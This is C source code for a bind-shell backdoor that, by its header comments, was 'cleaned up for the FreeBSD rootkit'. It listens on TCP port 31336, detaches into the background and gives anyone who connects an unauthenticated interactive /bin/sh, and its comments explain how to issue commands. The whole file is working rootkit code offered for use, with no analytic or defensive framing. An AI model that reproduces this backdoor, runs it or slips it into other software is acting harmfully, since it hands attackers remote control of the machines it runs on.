/* quick thingy... bind a shell to a socket... defaults to port 31336 */
/* code by pluvius@****** (address removed to protect the innocent :) */
/* don't forget.. when you connect to the port.. commands are like: */
/* "ls -l;" or "exit;" (don't forget the ';') */
/* cleaned up for the FreeBSD rootkit */
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 31336
main()
{
int soc_des,soc_cli,soc_rc,soc_len,server_pid,cli_pid;
struct sockaddr_in serv_addr,client_addr;
if((soc_des=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))<0)
perror("socket");
memset(&serv_addr,0x00,sizeof(serv_addr));
serv_addr.sin_family=AF_INET;
serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
serv_addr.sin_port=htons(PORT);
if(soc_rc=bind(soc_des,(struct sockaddr
*)&serv_addr,sizeof(serv_addr))!=0)
perror("bind");
if(fork()!=0)
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if(fork()!=0)
exit(0);
if((soc_rc=listen(soc_des, 5))!=0)
perror("listen");
for(;;) {
soc_len=sizeof(client_addr);
if((soc_cli=accept(soc_des, (struct sockaddr *)&client_addr,
&soc_len))<0)
perror("accept");
cli_pid=getpid();
server_pid=fork();
if(server_pid!=0) {
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh","-i",0);
close(soc_cli);
exit(0);
}
close(soc_cli);
}
}